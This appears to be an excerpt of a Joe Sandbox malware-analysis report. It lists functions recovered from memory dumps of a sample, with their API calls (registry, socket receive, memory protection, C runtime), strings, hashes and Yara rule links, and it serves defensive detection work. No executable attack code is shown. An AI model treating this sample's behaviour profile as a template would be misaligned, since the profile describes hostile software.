Instruction Fuzzy Hash: 31711176246AC186EB119F69E5C0BDD77B2F758B80F59902ADB8A07311CF38D9A2C310

Function 000001CFB95CDBF5 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB95CBD0D: _errno.LIBCMT ref: 000001CFB95CBD16
Part of subcall function 000001CFB95CBD0D: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB95CBD21

_errno.LIBCMT ref: 000001CFB95CDC20
_errno.LIBCMT ref: 000001CFB95CDC3E
_isatty.LIBCMT ref: 000001CFB95CDC9F
_getbuf.LIBCMT ref: 000001CFB95CDCAB

Strings

, xrefs: 000001CFB95CDC2B

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 3655708593-3916222277
Opcode ID: 678a5d9060657e1d823d637cf28b2f0c58d29ed2dcd500e0a7d9d9ccc373c5e5
Instruction ID: 62ea53aeecd75fe2245c12391e4708ca6f5bc6f04892cb241a41cd216b198e61
Opcode Fuzzy Hash: 678a5d9060657e1d823d637cf28b2f0c58d29ed2dcd500e0a7d9d9ccc373c5e5
Instruction Fuzzy Hash: 3351FFB2180A484BF768AF28C6C2BE936F2EB45310F14026DD856CB6D6D774CE838691

Function 000001CFB9623DE0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 000001CFB9623E11

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

_getptd.LIBCMT ref: 000001CFB9623E2F
_CallSETranslator.LIBCMT ref: 000001CFB9623E77

Part of subcall function 000001CFB9622DAC: _getptd.LIBCMT ref: 000001CFB9622DD3

Strings

RCC, xrefs: 000001CFB9623E4D
MOC, xrefs: 000001CFB9623E45

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd$CallTranslator_amsg_exit
String ID: MOC$RCC
API String ID: 1374396951-2084237596
Opcode ID: 1d462c2f10ce24a519212633c1e6cfe29c97502a7330fb4d454685fe849e362c
Instruction ID: 44021ff09ac15f94dada44ab5e3c557fba632f86f0a61bbe44b71818f642042c
Opcode Fuzzy Hash: 1d462c2f10ce24a519212633c1e6cfe29c97502a7330fb4d454685fe849e362c
Instruction Fuzzy Hash: E361B272644AC286EB24EF15E480FEDB373F780B89F44452ADB8E47695DB78CA56C700

Function 000001CFB9623959 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 000001CFB96239AC
_getptd.LIBCMT ref: 000001CFB9623961

Part of subcall function 000001CFB96168EC: _amsg_exit.LIBCMT ref: 000001CFB9616902

_getptd.LIBCMT ref: 000001CFB9623A23
_getptd.LIBCMT ref: 000001CFB9623A2F

Strings

csm, xrefs: 000001CFB96239E3

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd$ExceptionRaise_amsg_exit
String ID: csm
API String ID: 4155239085-1018135373
Opcode ID: d886a1c3553cd68f9cf7a97644700504b665781d40d3803e2721c710f225a129
Instruction ID: 03bc1f0b1e96633e93a51f4f170caae3c0a2b3b2fce385e270f3a765d10db198
Opcode Fuzzy Hash: d886a1c3553cd68f9cf7a97644700504b665781d40d3803e2721c710f225a129
Instruction Fuzzy Hash: EA31303654468187F670AF12E040B9DB3B2F795B65F00423ADE9A07B95DB3ADE46CB00

Function 000001CFB960D831 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 000001CFB960D854
RegDeleteValueW.ADVAPI32 ref: 000001CFB960D865
RegCloseKey.ADVAPI32 ref: 000001CFB960D86F

Strings

Console, xrefs: 000001CFB960D838
IpDatespecial, xrefs: 000001CFB960D85E

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: Console$IpDatespecial
API String ID: 849931509-1840232981
Opcode ID: e6bf59a39c93ccd8a2fce3cb6291b36bd99a0536316f225a4c4a7a176ea83b98
Instruction ID: 28bd21512056e2f2ef440519b2ea24a495d562a7020ce8edf4963c9739078b47
Opcode Fuzzy Hash: e6bf59a39c93ccd8a2fce3cb6291b36bd99a0536316f225a4c4a7a176ea83b98
Instruction Fuzzy Hash: 79F01D3274098286FB20AB55F940BC97332F3407A9F000226CD5D43698DF78CA8AC704

Function 000001CFB9614E4C Relevance: 7.6, APIs: 5, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 000001CFB9614E69

Part of subcall function 000001CFB961C23C: _errno.LIBCMT ref: 000001CFB961C245
Part of subcall function 000001CFB961C23C: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB961C250

_errno.LIBCMT ref: 000001CFB9614E79
_errno.LIBCMT ref: 000001CFB9614E95
_isatty.LIBCMT ref: 000001CFB9614EF6
_getbuf.LIBCMT ref: 000001CFB9614F02

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_invalid_parameter_noinfo_isatty
String ID:
API String ID: 2574049805-0
Opcode ID: dea3ac2ba7795ca4fc04a54829bc07f5f28fc5d4702961cbb12294847e09e509
Instruction ID: 63e55f65673a87b9bedb62687523c3130a6e12c8341052ab7d26c550b3ce2c39
Opcode Fuzzy Hash: dea3ac2ba7795ca4fc04a54829bc07f5f28fc5d4702961cbb12294847e09e509
Instruction Fuzzy Hash: D041D0726407A28AFB689F39C451BAC36B3E784B94F54223DDA65473D5DB38CE42C780

Function 000001CFB96104D0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 000001CFB96104FF
SetLastError.KERNEL32 ref: 000001CFB9610592

Strings

Main, xrefs: 000001CFB96104E2

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID: Main
API String ID: 1452528299-521822810
Opcode ID: f6bbeae5cd547684b12614fe3c7d5d17ce7c357ab5793ef19da540d674d16875
Instruction ID: 772a691aa495c262bd8a5bdb261a7022c88852dd9e0575bc7370c2dd789d5022
Opcode Fuzzy Hash: f6bbeae5cd547684b12614fe3c7d5d17ce7c357ab5793ef19da540d674d16875
Instruction Fuzzy Hash: 0341AF32B40AA2CAFB54CF11D141BA933B3F758B88F445039DA8947785DB38DE42CB80

Function 000001CFB960FEA0 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32 ref: 000001CFB960FEDC
realloc.LIBCMT ref: 000001CFB960FF43

Part of subcall function 000001CFB9613AE8: malloc.LIBCMT ref: 000001CFB9613B05

IsBadReadPtr.KERNEL32 ref: 000001CFB960FFC9
SetLastError.KERNEL32 ref: 000001CFB960FFEA
SetLastError.KERNEL32 ref: 000001CFB9610008

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLastRead$mallocrealloc
String ID:
API String ID: 3638135368-0
Opcode ID: 57d93e2d794d31c73ddf79fd2eef244c1df7bfe1804209be54d35a557055a819
Instruction ID: 916cd8ed5a6302837fcbd69b9ad3677ff8abe9fb052424e1ce1e4bd7246b8f05
Opcode Fuzzy Hash: 57d93e2d794d31c73ddf79fd2eef244c1df7bfe1804209be54d35a557055a819
Instruction Fuzzy Hash: 30418032240BC587FB208F16E450BAAB7B2FB49B95F184029DF4A07764DF38D946C700

Function 000001CFB961D048 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 000001CFB961D0A2
malloc.LIBCMT ref: 000001CFB961D106
MultiByteToWideChar.KERNEL32 ref: 000001CFB961D14E
GetStringTypeW.KERNEL32 ref: 000001CFB961D165
free.LIBCMT ref: 000001CFB961D179

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: 897931331240f9ce2a7c565d2b2c43d51d0b86d34883ef3d5b0f097aaad4e249
Instruction ID: 12a612b6b7ef1c980cbc7313581f4b5ce8eccf866939bc5fa1e7655bc8496adb
Opcode Fuzzy Hash: 897931331240f9ce2a7c565d2b2c43d51d0b86d34883ef3d5b0f097aaad4e249
Instruction Fuzzy Hash: 51419F3264069186FB149F25D811BD963B7FB44BE8F58523AEE2D477D5DB38CE028310

Function 000001CFB960B830 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 000001CFB960B863

Part of subcall function 000001CFB9611E40: _FF_MSGBANNER.LIBCMT ref: 000001CFB9611E70
Part of subcall function 000001CFB9611E40: HeapAlloc.KERNEL32 ref: 000001CFB9611E95
Part of subcall function 000001CFB9611E40: _callnewh.LIBCMT ref: 000001CFB9611EAE
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EB9
Part of subcall function 000001CFB9611E40: _errno.LIBCMT ref: 000001CFB9611EC4

free.LIBCMT ref: 000001CFB960B88B
CreateDIBSection.GDI32 ref: 000001CFB960B8F7
free.LIBCMT ref: 000001CFB960B916

Part of subcall function 000001CFB960C180: GetObjectW.GDI32 ref: 000001CFB960C1B2

free.LIBCMT ref: 000001CFB960B956

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_errno$AllocCreateHeapObjectSection_callnewhmalloc
String ID:
API String ID: 2034203143-0
Opcode ID: b5ee60dcc23de6932e17d70413b68075728645683aec6840a5fc2d6d18115cc8
Instruction ID: f0fb6dcb46dfb04c6d1bb2c6dcdce410c1068fa4da8fc0974a113596734517c8
Opcode Fuzzy Hash: b5ee60dcc23de6932e17d70413b68075728645683aec6840a5fc2d6d18115cc8
Instruction Fuzzy Hash: 9C3171322446C182FF659F32D481BEEA6B7FB58B84F488439DF4957765EB78CA028700

Function 000001CFB9604920 Relevance: 7.6, APIs: 5, Instructions: 91networkCOMMON

Download Yara Rule

APIs

recv.WS2_32 ref: 000001CFB9604954
SetLastError.KERNEL32 ref: 000001CFB960498E
WSAGetLastError.WS2_32 ref: 000001CFB96049E2
WSASetLastError.WS2_32 ref: 000001CFB9604A38
GetLastError.KERNEL32 ref: 000001CFB9604A47

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ErrorLast$recv
String ID:
API String ID: 316788870-0
Opcode ID: 3da117cddbf6bbce9cbf033f5496cc6c6a7c3f4bfe53dba83cf0896eb070ff71
Instruction ID: f4fe97c87a4135f261d41f4eb4559e458362db085ca6d7cb823877a9ef9b9d50
Opcode Fuzzy Hash: 3da117cddbf6bbce9cbf033f5496cc6c6a7c3f4bfe53dba83cf0896eb070ff71
Instruction Fuzzy Hash: 57418D32244A8285FB609F29E4C4B9D27B3F745B98F54453ADB1983698EB39CE86C701

Function 000001CFB96247F0 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 000001CFB9624831
_exception_enabled.LIBCMT ref: 000001CFB9624854

Part of subcall function 000001CFB9624734: _set_statfp.LIBCMT ref: 000001CFB962475B
Part of subcall function 000001CFB9624734: _set_statfp.LIBCMT ref: 000001CFB96247CE

_raise_exc.LIBCMT ref: 000001CFB96248A0
_ctrlfp.LIBCMT ref: 000001CFB96248E0
_ctrlfp.LIBCMT ref: 000001CFB9624911

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 2d7edc7519fb73cf76ba16e443ff7478fbca3bdb4f6fdcc44a9c8c0f234c6810
Instruction ID: 3fbe7ea36de7fb904d596ed16816b22c6ed0ef08d4732856b1ff9fccaa97aa29
Opcode Fuzzy Hash: 2d7edc7519fb73cf76ba16e443ff7478fbca3bdb4f6fdcc44a9c8c0f234c6810
Instruction Fuzzy Hash: 6A318236654BC58AF750DF25E401BEEB772F789798F001229FA491AA58DB38C942CB00

Function 000001CFB9612FD0 Relevance: 7.6, APIs: 5, Instructions: 80memorythreadCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 000001CFB9613022
GetSystemInfo.KERNEL32 ref: 000001CFB9613039
SetThreadStackGuarantee.KERNEL32 ref: 000001CFB961304B
VirtualAlloc.KERNEL32 ref: 000001CFB961309E
VirtualProtect.KERNEL32 ref: 000001CFB96130B8

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Virtual$AllocGuaranteeInfoProtectQueryStackSystemThread
String ID:
API String ID: 513674450-0
Opcode ID: 92c15f89d57241f6b16f901cecf13a501dead97400cb3aaf053e3c9941c96e37
Instruction ID: 5fe3e8f4869abdfb77fb956ca72aff68badc4ceead4022e2f94926f9ee9f8e66
Opcode Fuzzy Hash: 92c15f89d57241f6b16f901cecf13a501dead97400cb3aaf053e3c9941c96e37
Instruction Fuzzy Hash: F8315232350AD28AEB14DF31E844BDD33F6F748788F48502A9A0A47758DF38DA46C700

Function 000001CFB95CE235 Relevance: 7.6, APIs: 5, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB95CE24E
__doserrno.LIBCMT ref: 000001CFB95CE2CB
_errno.LIBCMT ref: 000001CFB95CE2D2

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _errno$__doserrno
String ID:
API String ID: 2614100947-0
Opcode ID: f6747c994bee0120bca5ea429985f7c2a1c01f1207c446315ef510763f0ad3e3
Instruction ID: bacca1a9d00ad28fea435d1d7c81886f43e0ee8e6161dc507f0bb5f70257c03a
Opcode Fuzzy Hash: f6747c994bee0120bca5ea429985f7c2a1c01f1207c446315ef510763f0ad3e3
Instruction Fuzzy Hash: 0121F8326C86908EF2146BA8D6D1BED3AF2EB45310F04053DF416875D3D764CE968256

Function 000001CFB93A13CC Relevance: 7.6, APIs: 5, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 000001CFB93A13E5
__doserrno.LIBCMT ref: 000001CFB93A1462
_errno.LIBCMT ref: 000001CFB93A1469

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: _errno$__doserrno
String ID:
API String ID: 2614100947-0
Opcode ID: b78143fa32f064d218713fe95a5adf2227d442b671ea0c90b86e696d9d98e483
Instruction ID: 1e22a32c3298f4ae2743c32f05003a95cf49ca885738398b90b59e2cb5f517af
Opcode Fuzzy Hash: b78143fa32f064d218713fe95a5adf2227d442b671ea0c90b86e696d9d98e483
Instruction Fuzzy Hash: 0D21C4306846844EF714AFA8D895BEE77BAEF87310F2D417CE416871E3D764CE428651

Function 000001CFB9612410 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 000001CFB9612439
DecodePointer.KERNEL32 ref: 000001CFB9612449

Part of subcall function 000001CFB9617108: _errno.LIBCMT ref: 000001CFB9617111
Part of subcall function 000001CFB9617108: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB961711C

EncodePointer.KERNEL32 ref: 000001CFB96124C7

Part of subcall function 000001CFB9616FF0: realloc.LIBCMT ref: 000001CFB961701B
Part of subcall function 000001CFB9616FF0: Sleep.KERNEL32 ref: 000001CFB9617037

EncodePointer.KERNEL32 ref: 000001CFB96124D7
EncodePointer.KERNEL32 ref: 000001CFB96124E4

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 27add749fbee0590bf2bec2a260e94ba60e8cbf195f3a8d4dc1e4e486805c601
Instruction ID: cce5117066acee2ef31f0e1d8cd73ba570337f7c51bf514ae70b224ee8edc38d
Opcode Fuzzy Hash: 27add749fbee0590bf2bec2a260e94ba60e8cbf195f3a8d4dc1e4e486805c601
Instruction Fuzzy Hash: 8321A1313866E281FB04AB25E948BDAA3B3B789BC0F44543DDD0E47359EB78CA42C304

Function 000001CFB960C0B0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

CreateCompatibleDC.GDI32 ref: 000001CFB960C0F8
SelectObject.GDI32 ref: 000001CFB960C109
SetDIBColorTable.GDI32 ref: 000001CFB960C11F
SelectObject.GDI32 ref: 000001CFB960C132
DeleteDC.GDI32 ref: 000001CFB960C154

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: ObjectSelect$ColorCompatibleCreateDeleteTable
String ID:
API String ID: 3899591553-0
Opcode ID: 3de61e68eef413ff6c6bd4ba23286e24295c83a60f82d45f4363372d56b9f668
Instruction ID: 234ed4b2812096201180ee0efcdea53816d839668806f7b883d570619758a029
Opcode Fuzzy Hash: 3de61e68eef413ff6c6bd4ba23286e24295c83a60f82d45f4363372d56b9f668
Instruction Fuzzy Hash: 0C218E31240A91C9FB549F26E590B993376FB98FD8F10903ADE4A53718DF39C982C380

Function 000001CFB9605DE0 Relevance: 7.5, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000001CFB9605E05
EnterCriticalSection.KERNEL32 ref: 000001CFB9605E0F
LeaveCriticalSection.KERNEL32 ref: 000001CFB9605E1F
LeaveCriticalSection.KERNEL32 ref: 000001CFB9605E29

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 2a445fa39c5b0253e4bd2923b597622878c10cad0481ddc28a34dad83e9c0730
Instruction ID: 0e6b81df3325846ce560153659404878c81fa24aeefad4a1cee930bbcab9f2d1
Opcode Fuzzy Hash: 2a445fa39c5b0253e4bd2923b597622878c10cad0481ddc28a34dad83e9c0730
Instruction Fuzzy Hash: C4110732660A9187EB90AB22F4947D97372F764751F845026DBCB43A60DF38E98AC700

Function 000001CFB95CD6A1 Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB95CD6AA
_errno.LIBCMT ref: 000001CFB95CD6B2

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 744e5961bd2884f54a06c4d55f49b2095068003750696114cf22942ce0b93080
Instruction ID: 14b68f2f64b3e04795a1779e0658dc60538865794b29266087d3a762b838b353
Opcode Fuzzy Hash: 744e5961bd2884f54a06c4d55f49b2095068003750696114cf22942ce0b93080
Instruction Fuzzy Hash: 8201FE721D48C48DF2586754C591BD432F2FB10315F40827DF00AC69D2C779DD42C621

Function 000001CFB93A00DC Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__doserrno.LIBCMT ref: 000001CFB93A00E5
_errno.LIBCMT ref: 000001CFB93A00ED

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: __doserrno_errno
String ID:
API String ID: 921712934-0
Opcode ID: 3f8399101a99e04f111acb68838fd8e0fe981b5cff2cdfebbd5aafd65add2f64
Instruction ID: 0b08e91d73e21c489f66813f113a3817570ede00f41acdbeb7cdbb5b9adf31da
Opcode Fuzzy Hash: 3f8399101a99e04f111acb68838fd8e0fe981b5cff2cdfebbd5aafd65add2f64
Instruction Fuzzy Hash: AF01D6341A05884EF708AB64C895BD833BAFF2B325F7D427CE006871E3D7798D428651

Function 000001CFB961AE60 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000001CFB961AE97
GetCurrentProcessId.KERNEL32 ref: 000001CFB961AEA2
GetCurrentThreadId.KERNEL32 ref: 000001CFB961AEAE
GetTickCount.KERNEL32 ref: 000001CFB961AEBA
QueryPerformanceCounter.KERNEL32 ref: 000001CFB961AECB

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 93f1a9ba9138021f6c49841d23b575579b0bcc3cc95a229cf794d83a4df072c6
Instruction ID: 852921afdc1fa40df51cd22b0500a1ee37b43bc2cd1f97d20b2520618b15bbe2
Opcode Fuzzy Hash: 93f1a9ba9138021f6c49841d23b575579b0bcc3cc95a229cf794d83a4df072c6
Instruction Fuzzy Hash: 4401D631295AC582FB808F25F8447957373F759B90F446639EE5A477A4DB3CCE868300

Function 000001CFB960B790 Relevance: 7.5, APIs: 5, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

DeleteObject.GDI32 ref: 000001CFB960B7CA
EnterCriticalSection.KERNEL32 ref: 000001CFB960B7D7
EnterCriticalSection.KERNEL32 ref: 000001CFB960B7EC
GdiplusShutdown.GDIPLUS ref: 000001CFB960B7FE
LeaveCriticalSection.KERNEL32 ref: 000001CFB960B812

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter$DeleteGdiplusLeaveObjectShutdown
String ID:
API String ID: 1513102227-0
Opcode ID: d0bf30436cb6d58d92d898ab182b5300c8b452775190517e675a416d92231e2b
Instruction ID: 57cce3cbb79957f1df4e9ce384316e2983ed43be1ab8d2ab11d011b2e852e6a2
Opcode Fuzzy Hash: d0bf30436cb6d58d92d898ab182b5300c8b452775190517e675a416d92231e2b
